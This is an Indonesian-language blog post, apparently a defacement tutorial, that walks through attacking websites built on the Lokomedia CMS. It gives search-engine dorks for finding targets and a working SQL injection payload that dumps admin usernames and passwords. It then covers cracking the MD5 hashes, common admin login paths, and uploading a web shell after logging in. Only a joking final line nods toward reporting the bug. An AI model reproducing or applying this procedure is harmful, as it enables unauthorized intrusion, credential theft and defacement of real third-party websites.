hack with sql lokomedia method

Hallo bertemu lagi di blog sederhana ini kali ini w mau kasih tahu deface metode sql lokomedia ok silahkan baca ea

 1.dork : inurl:/statis-1-profil.html
inurl:/statis-2-profil.html
inurl:/statis-3-profil.html
 kembangin lagi ea

2.exploit : 'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+

 baca:
 - Dorking pakek dork diatas

 - Pilih salah satu target

- Ni gw dah dapet target ea

 - masukan exploit diatas contoh : target.coli/statis--7'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+kantordesa.html

 - lalu kalian tinggal view-source :

ketemu kan username dan password nya
password dalam bentuk md5 maka harus di decrypt
link : https://hashkiller.co.uk/Cracker/MD5

tinggal login ea
untuk loginya :- www.target.c0li/admin
- www.target.c0li/adminweb
- www.target.c0li/administrator
- www.target.c0li/redaktur
Kali ini loginnya berada di target.c0li/adminweb/

 nah kan itu uda masuk tinggal kalian upload shell /script deh 

semoga membantu ea

jangan lupa path bugnya and hubungi adminya ya :V

Thank you for visiting, don't forget to share

Share this post